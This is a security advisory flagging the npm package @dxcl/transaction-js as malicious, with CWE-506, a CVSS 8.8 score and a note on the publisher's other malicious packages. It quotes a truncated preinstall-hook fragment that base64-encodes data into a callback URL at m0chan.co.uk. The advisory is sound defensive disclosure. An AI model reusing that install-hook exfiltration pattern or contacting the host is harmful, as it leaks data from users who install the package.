GCVE-110-OSM-2026-6248

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published June 18, 2026

Malicious package detected. Behaviors: install-time execution. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "b64=$(printf '%s' \"" DESTINATION - urls: https://$pkgsub.callback.m0chan.co.uk/$b64; (fetched-payload, plaintext) - domains: pkgsub.callback.m0chan.co.uk (fetched-payload, plaintext) ADDITIONAL FINDINGS - Brand New Package - Publisher Has Other Malicious Packages

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

8.8/10

High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	@dxcl/transaction-js	all (affected)	—

References

Malicious npm package: @dxcl/transaction-js

advisory

vendor

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